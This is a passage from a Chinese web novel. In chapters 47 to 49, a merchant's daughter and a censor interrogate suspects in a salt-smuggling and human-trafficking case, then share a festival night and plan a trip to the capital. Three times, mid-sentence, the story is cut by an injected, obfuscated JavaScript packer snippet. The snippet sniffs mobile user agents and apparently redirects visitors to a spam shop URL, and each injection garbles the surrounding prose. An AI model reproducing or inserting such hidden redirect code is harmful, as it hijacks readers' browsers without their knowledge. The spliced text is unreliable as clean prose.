她愤怒摔门而去,巨大的声响震得整个地牢都晃动三分。苏玉淑跌跌撞撞向前跑了几步,直到肺里灌满腐败潮湿的气息才停下。 怎么办?怎么办! 慌乱如同潮水裹挟着她,这一局早就不是她能够掌控的了。她只觉得自己是一个站立在棋盘上的小小棋子,别人扒拉扒拉她,她便动一动,去哪里,做什么,从来由不得自己。 她好想苏玉鸿,她想找哥哥。他走南闯北这么多年,总该有些办法的吧?她想回家,她想念母亲焚的香,甚至是想念父亲气呼呼的训斥。 这可如何是好…… 脸上一阵滚烫,苏玉淑忍不住用手去抹。她这才发现不知何时自己竟已泪流满面,空旷的地牢里只有她的呼吸和心跳。 她想起了儿时的自己,受了什么委屈,遇了什么难事,小小的她也是这样躲起来哭。 直到被哥哥或者绿萝找到。 可现在只有她自己,她无助得撕心裂肺。她想要大喊,想要哭嚎,可胸口就像被什么东西结结实实地堵住,除了一声微弱的哽咽再无其他。 林长亭……如果向他求助的话,他是御史,他肯定…… 不行。 这个念头刚刚萌发便被她狠狠扼杀。这是苏家盐场和商号的丑事,林长亭没有任何义务去替她收拾烂摊子。更何况他身为御史,秉公彻查是他的职责所在,她又怎能强人所难要求林长亭做那肮脏黑手? 她一定能想出办法,她一定能救苏家。 苏玉淑狠狠抹了一把脸,尽管布料细软,可还是在脸上蹭出一片红。她恶狠狠地给了面前的栏杆一拳,此刻她虽身在牢笼之外,可却如同困兽般做最后的死斗。 她大步流星往回走,声音坚定而有力: “鸩,去把王姨娘给我提来!” 王姨娘锒铛入狱的时候手指还滴着鲜血,干涸的部分在灯火下泛着黑黑的红。换做平时,兴许苏玉淑还会好心地帮她上一上药,可是眼下她的心里只有一件事。 “姑且我先尊称你一声王姨娘,我这个人没什么耐心,也别对我有什么花花肠子。”苏玉淑开门见山,语气冷得如同腊月梁上冰,“我比林大人可好不到哪里去。” 王姨娘还没有从疼痛中缓过神来,她娇滴滴地窝在椅子里,身上堆叠的布料都快成一坐小山了。她啜泣着还不忘拢拢头发:“姑娘只管问就是了,何必吓唬我一个妇道人家呢。” “妇道人家?”苏玉淑一声嗤笑,“妇道人家做得出来杀人越货的事儿?” “这……这我怎么听不懂……” “你再给我装!” “啊!” 苏玉淑一个瓷杯砸在她的脚下,碎片四下炸开吓得王姨娘惊声尖叫。她躲闪不及,几片白瓷就这么划过了她的脸,留下了几道细小的血痕。 林长亭没忍住又往外看了看。这丫头……还真是能折腾。 “杜蕊华,这名字你不会告诉我你不知道吧?” 王姨娘身躯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559332|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,她讷然地张了张口:“杜……杜蕊华……” 苏玉淑顺势又举起一个杯:“我再说一次,我,没什么耐心。” “认识认识。”王姨娘大梦初醒般点头,“是,是杜家的一个小女儿,还得叫我一声姨母呢……” “然后呢?” “然后……” “你是不是真的觉得我不会让你见血?” “不不不,我说,我说……”她眼睛紧紧一闭,“杜家……杜蕊华,她帮我点小忙来着……男人嘛,总是喜新厌旧的。杜家就帮我打发点小妾,还有些别的产业上不中用了的人……” “你是说,那些无辜的女人,是不中用的人?” 苏玉淑清晰地听见了自己后槽牙摩擦的声音,她按下性子强忍着继续问道:“你是怎么和杜家勾搭上的?” “他家是我远方的表亲,打我嫁给了史大人更是亲热的不行。”王姨娘的语气里甚至有几分得意,“她家能替我们做事,那是他家的本事。至于你说的那些人……可怜总归是可怜,可是我也不能由得她们分了我的宠啊。” “那你们还真是好能耐。得了的钱呢?” 王姨娘没有丝毫察觉到危险:“一些给了杜家,一些当了我的体己钱。还有……有的给了我那侄子。人家也是帮着打通了生意,出了力的。” “你侄子是谁?” “说出来要吓死你的。”她突然生出几分神气来,“你可知道当今的安正公主?我侄子可是堂堂驸马爷——贾骐!” “你侄子跟你怎么不是一个姓啊?”苏玉淑皱皱眉,“别是什么三杆子打不着的亲戚,在这儿攀皇亲国戚呢吧。” “那是因为我弟入赘了贾太傅家,这才跟了贾家的姓氏,你懂什么!”她摇了摇头上的簪子,“就算是今天我们贩了盐又怎么样,只要有我侄子一天,你们就不可能判我夫君的罪!” “是吗?”苏玉淑一个箭步起身,她不由分说地抓住王姨娘的头发向后折去,“根据东梁律例,略卖良人为奴者,当处绞刑。贩盐三石以上即可判处流放,敢问你一句,你手上当真就这么点儿罪过?一条条细数下来,我倒要看看整个东梁谁敢保你这条狗命!” 苏玉淑一个用力,那王姨娘的头便狠狠甩了出去。她几乎能听到那根上了年纪的颈椎发出的清脆声响,可此时她脑中只有无尽的愤怒和杀意。苏玉淑还不解气,她又一把扯过王姨娘的领口,一双眼睛满是怒火: “没有一个女人是活该被你卖的,你的那点子宠爱,就跟路边的一滩狗屎没什么区别。只有你自己咂摸出个甜罢了。至于你那侄子……我早晚要让他也付出代价。我倒要看看这世间还有没有公平,有没有王法!” 她斩钉截铁地吼出了自己的誓言,一团火焰在苏玉淑的胸中熊熊燃烧,像是要焚尽这世上一切黑暗。她已问出想要的一起,现下是时候拿了这些口供去想下一步的办法了。 只是一样,无论如何,苏家都脱不开干系了。 纵使她们也是苦主,可是守着东流盐场却看管不力,安字号的账面久久无人查问。虽是恶人作祟,可若不是他们苏家麻痹大意,又怎会酿成今日大祸? 这一切都需要人背起来。 那这个结果,又该落在谁的头上呢? 苏玉淑不愿想,也不敢想。她现在唯一能做的就只有查,拼命地查,最好能查他个水落石出,尽可能让苏家少受牵连。六百七十二石的私盐若是高价贩卖,再加上这许多姑娘的身价,其利润不下数万两,这若是用于招兵买马…… 她深吸一口气,强迫自己冷静下来。如果苏家能做证人,再花上些银钱,那岂不是能将功折罪? 既然这张网已经为她织好,那她就没有临阵脱逃的道理。以身入局又如何,只要能把那高高在上的作恶之人拉下尘埃,拼他个鱼死网破又何妨? “带她下去,我不想看她那不值钱的泪珠子。鸩,帮我把那个小六子提上来。我要和林大人一起审一审他。” 她的目光锐利如刃,不由分说地穿透浓稠的黑。 47. 第四十七章 小六子被拎上来的时候已经没了半条命了。 军中之人最恨背后刺探告密者,想来他们也没少“关照”史明麾下这条忠心的狗。他的双腿已经被打断,两根拖把似的拖在地上,十指也没有一根是完整的,整张脸肿的有些发亮,可这还只是第一天。 他的惨状远超史明,纵使苏玉淑胆大却也不免胆寒。她吞了吞口水,努力咽下慌张。她强迫自己直视这一切,声音尽可能保持着平稳: “他还能说话吗?” “当然。”林长亭拍了拍她的肩,“别勉强。” “不会。我们开始吧。” 狱卒像扔肉一样把人扔到刑椅上,紧接着一盆水给他泼了个透心凉。小六子挣扎着睁开眼,红肿的眼皮让他只能看清一半的人影—— 绫罗绸衫之下,苏家小姐的眼神是如此冰冷。 “你们……要问什么……” 林长亭歪了歪头,做出了一个“请”的手势。苏玉淑清了清嗓子,挺直脊背:“你和史明是什么关系?” “史大人现在……在哪里?” “把你该说的说了,你自然就会知道。” 小六子深知落在他们手里负隅顽抗也是无用,他本就是拿钱卖命。只是这许多年下来,竟也对史明生出一丝忠诚。 他没有说话。 “你死了以后,你家里的老父亲和儿子该怎么办呢。”林长亭轻描淡写一句话,却让小六子低着的头瞬间抬了起来, “房契地契都是你的名字,你犯下死罪自然是要充公的。到时候……只怕他们两个流落街头,祖孙两个一起要要饭,这何尝不是一种天伦之乐呢。” “史明已经倒了台,而我苏家的家产你应该有数。此刻弃暗投明,你还能他们留点什么。” “我……” 苏玉淑刚想乘胜追击,林长亭却拦住了她的话。他轻轻摇了摇头,眼中满是自信。 人心既已动摇,就无需再多说。 半晌,小六子开了口:“我是从北地战场上退下来的老兵。那是十几年前的事儿了,当时史大人还只是军队里的一个刺史。我在一次侦查里中了埋伏,还是史大人救了我我的命。我……给我来点水。” 林长亭手指一动,一杯温水便如愿出现在他面前。小六子端起水杯一饮而尽,他死死盯着水壶目光不肯移开。 “让他喝。” 直到牛饮个痛快,他才肯接着说下去: “等我退伍的时候,史大人刚刚当上防御史。我们本就私交不错,他就每年给我几贯钱养一家老小,他自己则留在北地驻守。直到他调任淮南东路,我才知道他已经升到制置使了。 真是同人不同命啊……人家就一路官运亨通,我就得穷困潦倒养家糊口。再后来,他命令我装作小工刺探进东流盐场,在那儿我认识了张青。 杜老爷则是靠着王姨娘家的关系,他和张青刘掌柜一起里应外合地从盐场掏了不少。” 小六子看了看自己的手,曾经拿枪拿刀的粗粝手掌如今只剩下几根断指。他自嘲似的笑了笑:“这伤比我在战场上受得重。” “史明还犯过什么事儿吗?” “你们都见到了,驻兵,屯田,打铁器,哪个都是掉脑袋的买卖。” 林长亭皱皱眉:“你可知他背后指使之人?” 小六子摇摇头:“我不配。” “既然你和张青是一条绳上的蚂蚱,那史明又为何要杀他?” “他才不管谁替他卖命干活儿。张青杀了又如何,整日里招摇过市的蠢货,简直是要多少有多少。也只有他这样没脑子的人,我们才敢用。 史明早就说过,若是有朝一日私一事东窗事发,那就全推在苏家头上就是了,反正张青和刘掌柜都是你们的人,查不到他头上的。” “渴乌的主意……是你出的?”苏玉淑隐隐约约觉得小六子并没有看上去这样简单,她不得不查问个仔细,说不定哪句话里就藏着苏家的破局之法。 令她意外的是,小六子居然老老实实地点了点头:“是我。我曾在军中担任斥候,那时候北地缺水难以运达,我们便想了这么个法子调水。现在想想,还是当兵的时候好啊。哈哈哈哈咳咳……” 他剧烈地咳了起来,仿佛一瞬间苍老了十岁:“苏大小姐,我跟你做笔买卖,如何?” “哦?”听到“买卖”二字,苏玉淑立马来了精神,“说来听听。” “我有一个册子,上面记载了这些年从东流盐场出来的每一笔盐的去向。我虽不知道钱最后都给了谁,却知道贩盐的都有谁,这些盐是在谁手里转出去的。大小姐,你应该很需要这东西吧?” 苏玉淑瞳孔都瞪大了几分:“你想要什么?” “我要你给我爹一百两银子,还要一间新房,让我儿子去读师城最好的私塾。做得到,我便给你,你若做不到,就算我被碎尸万段我也绝不会让你看见一星半点!” 她刚要点头,林长亭眼疾手快地又一把将人拦下:“我怎么知道你说的是真是假?” 小六子嗤笑一声:“老子都快死的人了,骗你们有用吗?我这一条烂命这辈子也算是活够了,可怜我儿子打小没了娘,没过过几天好日子。我只要见了房契,立马告诉你们册子在哪里。” 林长亭看向她:“苏大小姐要做这笔买卖吗?” “我可以办。”苏玉淑深吸一口气,她的眼睛里有凛冽的风,“如果让我发现你骗我,我绝对会让你们一家团圆。” 小六子狂笑几声。他从参军那一刻起,这条命便再也由不得自己。拼了大半辈子,能给子孙后代挣个本钱,他也算是值了。 林长亭摆了摆手,狱卒托起他残破的身体押送回牢。 年久失修的木门发出“吱呀呀”的抗议,小六子不甘地回头一望,久久日晒下的皱纹里写满了怨恨:“我真不该轻信了你当初那一刀。” “走!” 他还没说完,狱卒就牵紧了链子将人带了出去。他这一句倒是提醒了苏玉淑,她突然反应过来一件事—— 闻展去哪儿了? 自打她到了樊城,一连串的事令她应对不暇,她根本没工夫想起这么个人来。说好的闻先生在樊城等她呢?怎么这么多天连个人影都没见到?难道是林长亭…… 她僵硬地看向身边人,只差把“怀疑”两个字写在脸上了。 “你这么看着我做什么?”林长亭觉得好笑又好气,“你该不会觉得我把人杀了吧?” 她后撤半步:“很有可能。” “你脑子里想些什么呢。”他按捺住给她个脑瓜崩的冲动,“我自有安排,他已经被我送到他更该去的地方了。” “林长亭。”苏玉淑的语气从未如此严肃,“我不喜欢你什么事都瞒着我。” “那你希望我怎么做呢?” “至少,至少该告诉我你的计划,至少让我别蒙在鼓里,总是最后一个才知道……” 他轻笑一声,转身向门外走去:“我可以告诉你,但不是现在。” “你什么意思?” “我是说,我不想在牢里和你聊天。还是说苏大小姐很喜欢这个地方?” 苏玉淑耸耸肩:“又湿又臭的,有什么好玩。这辈子我都不想再来这破地方第二次,更别说是和你一起来。” “刚才不还审问得有模有样吗?”林长亭细心扶住门框,“走吧,出去晒晒太阳。” 光亮再次覆盖全身的时候,苏玉淑只觉得恍若隔世。 潮味儿渗进了衣服,她甚至觉得自己行走间都会掉出两颗蘑菇。林长亭被太阳晒得眯缝着眼睛,不知怎的,苏玉淑想起来自家那匹黑马。 它犯困的时候也是这样,眯着眼睛眨来眨去,油亮亮的马尾在身后甩个不停。 “我……” “饿不饿。” “啊?”苏玉淑怎么也没想到他会来上这么一句,“我不……” 咕噜—— 空气里都充满了尴尬的味道。 苏玉淑的脸霎时间由白变红,就连耳朵尖都泛上了一抹粉。她堂堂苏家大小姐还没有在人间露出过这副窘迫之相,不知道的还以为她吃不起饭呢!她像做错事的小狗般抬眼偷偷瞄了一眼林长亭—— 他笑得和平日里别无二致,眉梢眼角都挂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571154|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔。 “走,我带你去吃好吃的。” 一提到吃,苏玉淑便把什么不满委屈全抛之脑后了:“去哪里吃!吃什么?好吃吗?” “去了你就知道了。” 日落之前的温度烫得人心里暖暖的。苏玉淑哼着小曲儿,屁颠屁颠地跟在林长亭的身后。没走多久,他突然神秘兮兮地俯下身:“看见前面那个墙根了吗?” 苏玉淑点点头。 “吃的就在里面。” “可是这里……”苏玉淑环顾四周,“这里不是有人看管吗?这是哪里啊?” “这是刚收缴的史明的部分私产,叶荣刚才递上来一份单子,这里面可有好东西。” “好东西?什么好东西?” 少女的眼神闪闪发光,仿佛真的见到了什么了不得的宝藏。林长亭憋着笑怒了努嘴:“你钻进去,院子里面有个棕色的箱子,东西就在里面。” “好!”苏玉淑大跨一步又一个紧急后撤转了回来,“不对。” “嗯?” “这都是你的人!你想要什么你大大方方的拿不就是了,你骗我钻墙洞!你故意的!”她狠狠给了林长亭一拳,“好你个一肚子坏水的林大人!” “啊……” 林长亭捂住自己的身侧,发出一丝细微的呻吟。他眉头紧皱,身体突然脱力地向着旁边的墙靠过去。苏玉淑眼疾手快地扶住他的身体:“怎么了?我,我打到你的伤口了?” 他轻轻摇头,声音飘忽忽的:“我只是不想被别人落下偏心你的话柄。我怎么会故意诓骗你呢……” 看着他额头上冒出的细密汗珠,苏玉淑一下子心疼到了极点:“抱歉啊,我,我没想到……你你,你疼不疼?我下次不使劲了好不好?我回去重新给你上药,我错了……” “无妨。”林长亭的眸子湿漉漉的,“我只是想和你一起吃饭。” “得令!我这就去偷!你等我!” 苏玉淑将他轻轻靠在墙边,趁士兵不备一个闪身就来到后墙处。没走几步她就见到了林长亭所说的墙洞,大小刚刚好够她一人通过。 能注意到这些,也真是难为他了。 她把衣服塞得紧了一些,又左右看看,确定无人之后直奔院子。只是她不知道的是,她在迈进墙洞的那一瞬,林长亭就好端端地站起身来了。 他的脸上挂着狐狸似的狡黠笑容,对自己的小计谋得意极了。林长亭拍了拍手,叶荣瞬间闪至身边:“少爷。” “把今天所有的案供都存起来,不得让任何人知晓。” “是。” “还有一事。” “少爷请吩咐。” “去把苏玉鸿找来,今晚我有事情要交代。” 说话间,墙洞边儿的草有了些“扑簌簌”的动静。叶英心领神会地闪身走人,林长亭迅速虚弱地歪倒一旁。 苏玉淑兴奋地挥舞着巨大的火腿,像个野人一样嗷嗷地蹿到了他的身边:“走!今天拿这个炖汤,晚上好好给你补补!” 等二人回到营房的时候已是日落熔金。 晚霞灿灿,云雾蔼蔼。 苏玉淑捧着战利品一溜烟就跑进了后厨,嘴里还说着什么“三年的火腿最好吃”“可惜没有春笋”“寻些鲍参翅肚”之类的昏话,惹得兵营里的大哥们纷纷发笑。 这个小妹妹不仅没有大户人家的架子,还多了些江湖儿女的飒爽豪气。大家也便由得她去,军营里正需要她这样有勇有谋又天真烂漫的人。 自打他们拿下史明,亲兵们的饮食起居医疗勤务便都由樊城百姓们接了手。看着在厨房里忙前忙后的婆婆们,苏玉淑突然生出一个大胆的主意—— “林长亭!” 她从厨房探出头一声大吼:“我们把它做成羹,和樊城百姓们一起吃吧!” 林长亭一愣,继而温柔一笑:“这怎么够呢。来人。” “少爷。” “去把史明的私藏拿来,立刻吩咐下去,开粥棚,设大宴,全城百姓同饮同乐!” “林长亭你真好——” 少女飞身扑出,抱着他转出最美的弧光。 48. 第四十八章 樊城的夜晚从没有这样热闹过。 熙熙攘攘的街上人头攒动,人们纷纷走上街头奔走相告—— “御史大人开仓放粮了——” 城内四角八方都设立了粥棚,史明这些年搜刮来的珍品不少,干货窖藏,山珍海味,随着林长亭的一声令下都发放到了百姓手中。 “我们也去排队领一碗吧?闻起来好香啊。”苏玉漱捧着碗,眼睛比满天的繁星还要明亮。 “你……会不会怨我?” “嗯?为什么?”苏玉漱不明白林长亭怎么会没头没脑地来上这么一句,“你不吃吗?你不饿吗?” 远处的灯火好像映不到他的心里。他的眼睛垂得很低:“是你先提议的,可是大家现在都在喊我的名字。你会不会觉得……我抢了你的功劳?” “是谁的功劳很重要吗?”她的语气很轻,“倘若这碗热粥能暖过今夜的风,功劳又何分你我?我不在乎这些虚名,更何况……如果这个好名声能落在你身上,我也很开心。” “为什么?” “这哪有什么为什么。是你带着亲兵拿下了叛贼,是你连夜查案还受了伤。把赃物分给百姓也是有风险的,如果有人要追究的话责任还是在你身上。林长亭你今天怎么怪怪的?是不是饿傻了?你……” 苏玉漱捧着碗抬起头,她本想再说点什么,可她不忍打破这一瞬间。 街上的灯盏把光摇得细碎,一轮满月安静藏在夜里。林长亭笑着站在热闹的街口,可身边一切喧闹都与他无关。他眼底化不开的阴郁消弥殆尽,哪怕只有这一刻也好,苏玉漱希望他是真的开心。 原来他能笑得这样好看。 在她自己看不到的地方,她悄悄红了脸。 微凉的风把暧昧调成蜜,黏得二人挣脱不开。林长亭看着少女倔强抿起的嘴唇,心底仿佛都被浇上了一层糖浆。她头上小小的玉钗晃得他心痒痒,早开的桂花不知何时飘落于她的鬓边,看着这一朵金黄,他鬼使神差地伸出手抚上了她的秀发—— 滑滑的,刚摸上去有点冰凉,随后手心便传来一丝体温。 这就是女孩子的头发吗。 她有些诧异地抬起头,她仿佛能感受到他手掌的粗砺与温厚,是和哥哥的抚摸完全不同的感受。 两人目光相接,电光石火间却寂寂无言。 街上的行人愈发多了起来,家家户户都拿出了美食与街坊共享。孩子们三三两两地从他们身边跑过,许是个子太矮,一个衣着朴素的小女孩竟一头撞进了苏玉漱的怀里。 “撞疼你了吗?”苏玉漱非但不恼,反而和蔼地蹲下身子,“受伤了吗?” 小女孩摇摇头,大眼睛里满是对玩闹的渴望。 “去吧,跑慢点,当心摔着。”她在孩童的背后轻轻一推,小女孩儿立马咯咯笑着跑开。苏玉漱看着她的背影有些出神:“我小时候要是敢这么跑,我爹非打断我的腿不可。” 林长亭刚刚慌忙撤下的手掌上还残存着她的体温,甚至他还能闻到那股淡淡的茉莉花味儿。恍惚之间,他竟什么都没能说出口。 时间不等人,远处传来的食物的香气勾得忙了一整天的苏玉漱饥肠辘辘。她抬起头捧起碗: “林长亭,我饿了。” 他第一次任性地希望自己不要从梦中醒过来,哪怕能多沉溺一刻都好。他在看到那双眼睛的时候,他就知道了自己的下场。 林长亭心甘情愿。 “走吧,我们去排队。”他不自在地拽了拽自己的衣服,“我也有些饿了。” “走!” 苏玉漱不由分说地拽过他的手,两人如同孩童一般肆意地奔跑在灯火通明的街道上,就连耳畔走过的风都沾染上了人间的温度。纵使乱世,纵然喧闹,此刻二人心中的宁静却是任何力量都无法侵蚀的。 刚到手的粥还温热,两人像捧着宝贝一样小心找了个无人的青石长凳。这粥虽然寡淡,可周围百姓的笑脸就是她最好的下酒菜。一种朦胧的正义感正从这碗白粥里悄然生长,或许她到樊城只是为解苏家之困,可这万民同乐的场景却令她胸口有些发烫。 “我若是当得了呢!” 她回想起自己昔日的豪言壮语,如果说当时她只是为和父亲掰一掰手腕,逞一逞威风,那现在她则是真真正正地直面自己的野心。 或许她真的能正这腐朽之风,登那朝堂之高,令百姓安乐,还天下太平呢? “林长亭。” “嗯?” “接下来……你想怎么做?” “史明该吐的已经吐得差不多了,我需要再看一看你这边的案供再做定夺。但大体上是要拿人犯物证回京城的。”他的声音越来越低,那料想中的分别令他胸口憋闷,“你呢?” “我不知道。”苏玉淑笑得坦然,“说实话,我不知道。如果回去,父亲大约还是要为我议亲寻姻的。若是不回……我也无处可去。只是眼下我必须回师城拿到小六子的房契,这样才能换来他的册子。至于后面的事……且再看看吧。” 她变了。 她依然会为美食雀跃,却学会了在甜蜜中品尝世事的涩。那些曾让她横冲直撞的锐气,正在淬炼成可割开黑暗的薄刃,就像是北地炼钢的最后一道工序——冰水淬火。 她不是当初那个风风火火,想了就要去做的苏玉淑了。但她又没变,她还是那样通透灵动。 不知为何,“议亲”二字落在林长亭的耳朵里分外难听。他皱了皱眉,不动声色道:“私盐一案未了,我也还回一趟师城。此次你立了大功,或许你父亲不会急着把你嫁出去呢?” “什么嫁不嫁的,这亲还要看我想不想结呢!”她将碗重重碰上他的,“千岁!” 白瓷相撞,叮当作响。 简单一个动作,在林长亭的心里却和海誓山盟一般。繁星愈渐明亮,他的心思仿佛也明朗起来。他这半生未曾真为自己图谋过什么,总是不得已,总是隐忍和低头。 但他已有所求。 “林兄——玉淑——” 二人相视一笑,都不用回头就知道是谁。苏玉淑用力招了招手,经此一遭她和兄长的龃龉早已消解了不少,如今苏家仍未彻底脱困,她对这个一向宽厚温良的哥哥竟生出几分依赖。 “我就知道你吃这么点儿,你看我给你带了什么?”苏玉鸿从怀里掏出一个油纸包,“你肯定喜欢。” 东西到她手中的时候还发着烫,也不知道他揣在胸口揣了多久。苏玉淑的眼眶有些湿润,酸涩一路从喉咙攀附上来,噎得她说不出话。 “怎么了?”苏玉鸿赶忙蹲下身子,“是不是哪儿不舒服?还是不想吃糖饼?还是手上又疼了?你想要什么你和哥哥说,我肯定给你弄来!” “哥……”感谢的话到了嘴边就成了哭腔,“哥!” 豆大的眼泪扑簌簌地砸落,几日以来积累的委屈和愤懑都化作泪水。她只是扑进哥哥的怀里哭泣,压在她胸口的数字让她喘不上气,她的强装欢笑在这个将她从小宠到大的男人面前毫无作用。哪怕只是一会儿也好,哥哥的怀抱就是她能卸下一切的港湾。 苏玉鸿轻轻拍着她的背,一下又一下。 和儿时一样。妹妹总是被父亲训斥,那副打不怕骂不软的模样没少让她吃亏。只是长辈一走,她就会默默抹泪,却一声不吭。 这丫头,有什么事儿都憋着不说,从小倔到大。 她突然的哭泣杀了林长亭一个措手不及。他还从未见过苏玉淑这副样子,她的啜泣一声弱过一生,可在他心里却一下赛过一下的疼。 还未等他出手,苏玉鸿已然细心帮妹妹擦去泪水:“玉淑,天塌下来有哥哥,不怕的,啊。有什么事情和哥哥说,哥哥替你做主。” “是不是那王姨娘和刘掌柜给你气受了?我明天就扒了他们的皮,给你出口恶气可好?”林长亭有样学样地放低了声音,“你……你不要哭了。” 苏玉淑狠狠蹭了一把脸,这是她今天第二次哭泣了。她张了张口本想说些什么,可她突然别过了脸,僵着身子一句话都没说, 林长亭有些着急:“是谁欺负你了,你告诉我。” 苏玉鸿却摆摆手。 他笑着递过糖饼,轻柔地将她的身子掰正:“小时候都不害羞,现在还害羞了呀。哥哥都知道,私盐案咱家牵涉过深,如果不是走投无路,我妹妹才不会哭呢,是不是?我家小玉淑就是太累了,这几天都没有吃好睡好,又想绿萝了对吧?你放心,这儿没别人看见,哥哥也不会和别人说的。” “谁,谁说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574754|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”苏玉淑抽抽搭搭地瘪着嘴,“那叶英叶荣,谁知道他们在哪儿偷看……” 林长亭立刻摆手,轻不可闻的风声过后再无动静。 “噗。” 自嘲也好,被逗笑也罢,她总归是笑了。 林长亭的心稍稍下一些:“你告诉我,为什么哭?” “今天刘掌柜招了……他说从东流盐场出去的私盐共有六百七十二石。” 此话一出,整个樊城的声音似乎都被吞没了。苏玉鸿不自觉地捏碎了手中的糖饼,他曾与林长亭在路上估算过数量,那时候两人认为私盐量绝不会超过四百石。 苏玉鸿拍了拍她的背:“没事,没事,哥哥想办法。” 可是他自己的声音都在抖。 “此事我们务必要从长计议。”林长亭握紧了拳头,“我叫人去改口供,这刘掌柜是留不得了。史明那里我都没有得到确切的数字,看来他也不过是贩盐的一个棋子罢了。这样多的盐……只怕东梁是要变天……” “林长亭。”苏玉淑泪眼婆娑地开口,“你现在能不能把你知道的全部都告诉我们?我一定要想办法救苏家,我不能牵连我的父母兄长,算我求你了。” 他心口一软,仰天去望那高悬的满月。一缕夹杂着草木香的晚风拂过,不知怎的,林长亭的耳畔突然响起了母亲的叮嘱:“长亭,人活一世不是靠单打独斗的。你要学着相信别人,与人交心,方能见彼此真情。” 他长叹一声,嘴角挂上一丝苦笑:“这私盐一案还真是烫手的山芋。我的人头……早就和你们绑在了一起。” 顾不上苏家兄妹的震惊,他自顾自地说下去:“我没有骗你,我确实是侍御史林长亭。一年前,朝中便有私盐之说,只是没有证据,难以追查。直到半年之前,御史台抓住一笔来路不明的军费,只是还没等追到底,负责此案的御史中丞就死在了京城的宅子里。 被发现的时候,他的尸体悬于梁上,只因一家老小无虞便以自尽结案。军费来源本就难查,时间拖久了更是希望渺茫。朝中大员于京中被灭口,这是何等狂妄?更离奇的是,当今圣上居然放弃追查,就此罢休。” “然后呢?”苏玉淑壮着胆子追问。 “我主张严查,军费之事怎可轻轻放过?我时任审刑院同知审刑院事,在上书后的第三天就被调任到御史台,这一招明升暗降直接将我推到了台前,军费案就这么交到了我的手里。” “再后来呢?” “我的线人拿住了京城里来路不明的私盐,经排查后大约能断定来自于师城一带。我这才带队出京,就和那早亡的御史中丞一样,一路上我没少遇到暗杀刺客。 便是到了师城,我的调查仍然阻力不小,想来是上面的人不愿让真相水落石出,直到遇到了你们。今天这数字与我之前的料想出入不小,要想把苏家完完整整地摘出来,只怕要费上一些功夫。” “你一个侍御史……为何会有亲兵?”她的眼睛虽还有些红肿,可往日里那自信的光又重新占据领地,“你当真没骗我?” “关于我的亲兵……我可以保证我绝无谋反之心,其余暂时无可奉告。我没有骗你,其他的问题你大可以问,能说的我一定知无不言言无不尽。” “你几岁入仕?” “二十岁中了一甲进士,任史馆正字。” “那还真是年轻有为……”苏玉淑内心小小地赞佩了一下,“那你的武功是谁教的?” 林长亭被她的好奇逗得轻松几分:“这我不能告诉你。不过……” “不过什么?” “若是有机会,我可以把你引荐给我师父,看看他老人家愿不愿意要你这个顽劣的弟子。” “还是等正事结束吧。”她现在可没这个心情。苏玉淑看了看哥哥,刚哭鼻子的举措还令她耿耿于怀,“其实……我有一计能解苏家困境,只是需要林大人配合。” 林长亭虽未和盘托出,可也算是彼此交了底,她绝不能让她的阵营受到任何的威胁。月光下的少女脸颊泛红却目光坚毅,她身上带着一种不惜鱼死网破的果决,她从未坚定地想要保护过谁,但现在她清楚地知道自己要做什么。 “愿意一听。” 灯火之下,他们的心跳编织成了最牢固的联盟。 49. 第四十九章 苏玉淑在桂花树上弯折下一根枝丫,选了块沙地做起分析: “你们看,现在明面上是两方势力,我们和贾骐。但如果我料想得不错,在这背后应当还有第三方,那就是……”她稍作停顿,继而下定巨大的决心:“是皇帝。” 林长亭点点头:“说下去。” “刚才你提到当今圣上对私盐一案仿佛并不上心,那么我可以做出两种揣测。其一,就是圣上知情,但背后牵扯过多,所以不愿操之过急。其二……那就是他是默许了私盐的存在,甚至是知道整件事情的真相。说句大不敬的话,无论是哪一种,我们都不能把皇帝看作是自己人。” “若是再往坏处想想,林长亭这一路上遇到的刺杀……” “不会是圣上的人。”林长亭笃定地摇摇头,“皇帝近侍和豢养的死士的杀招我都见识过,不是一路子。” “那有没有可能是他故意掩人耳目,派出另外的杀手呢?” “可他是皇帝啊……若真是想要杀了我,又何必大费周章呢。” “对啊!”苏玉漱眼神一亮,“我们虽无法确定皇帝的态度,但至少可以断定一点——他没有插手的意图。如果真要置你于死地,他大有其他手段可为。如今的局面已经明朗,私盐一案的重犯捉拿归案,贾骐自然撇不开关系。接下来,我们就要抓出这幕后的主使,只要有机会向圣上禀明利害,兴许还能将他变成我们的底牌。” 她聪明、坚韧,可林长亭从未料想过她会有此等勇气和智慧。 苏玉鸿看着地上比比画画的三角,话语之中满是担忧:“玉漱,你……你要怎么做?” “上京城。” 这三个字,她说得掷地有声。 “上京城?” 